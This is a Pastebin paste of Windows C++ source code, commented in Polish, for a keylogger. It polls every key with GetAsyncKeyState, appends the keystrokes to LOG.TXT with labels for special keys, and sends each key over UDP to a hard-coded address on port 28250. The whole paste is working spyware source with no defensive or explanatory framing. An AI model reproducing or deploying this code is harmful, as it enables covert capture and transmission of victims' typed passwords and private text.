Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <winsock2.h>//ważne musi być zainkludowane przed widnows.h!!
- #include <iostream>
- #include <fstream>
- #include <windows.h>
- #include <Winuser.h>
- #include <stdio.h>
- #include <time.h>
- #pragma comment(lib, "Ws2_32.lib")
- using namespace std;
- int liss(int, char *file);
- void main()
- {
- WSADATA wsaData;
- SOCKET SendSocket;
- sockaddr_in RecvAddr;
- int Port = 28250;//port
- char SendBuf[1];//wiadomosc
- int BufLen = 1;//dlugosc wiadomosci
- char* IP_ADDRESS_S = "192.168.0.11";
- WSAStartup(MAKEWORD(2, 2), &wsaData);
- SendSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- RecvAddr.sin_family = AF_INET;
- RecvAddr.sin_port = htons(Port);
- RecvAddr.sin_addr.s_addr = inet_addr(IP_ADDRESS_S);
- //nasluch oraz zapis do logow
- char i;
- while (1){
- for (i = 8; i <= 190; i++)
- {
- if (GetAsyncKeyState(i) == -32767)
- {
- liss(i, "LOG.TXT");
- WSACleanup();
- memset(SendBuf,i,1);
- sendto(SendSocket, SendBuf, BufLen, 0, (SOCKADDR *)&RecvAddr, sizeof(RecvAddr));
- cout << SendBuf;
- }
- }
- }
- cout << "Wysyłanie wiadomosc";
- cout << "wiadomosc wyslana.";
- closesocket(SendSocket);
- cout << "zamknieto socket.";
- WSACleanup();
- }
- int liss(int key_stroke, char *file){
- FILE *OUTPUT_FILE;
- OUTPUT_FILE = fopen(file, "a+");//otwier plik do logów
- if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE] ");
- else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
- else if (key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");
- else if (key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS] ");
- else if (key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL] ");
- else if (key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT] ");
- else if (key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK] ");
- else if (key_stroke == 9) fprintf(OUTPUT_FILE, "%s", "[TAB] ");
- else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
- else if (key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME] ");
- else if (key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END] ");
- else if (key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE] ");
- else if (key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP] ");
- else if (key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT] ");
- else if (key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN] ");
- else fprintf(OUTPUT_FILE, "%s", &key_stroke); // jesli nie spelnilo zadnego warunku na gorze to wpisuje litere
- fclose(OUTPUT_FILE);
- //cout << key_stroke << endl;
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement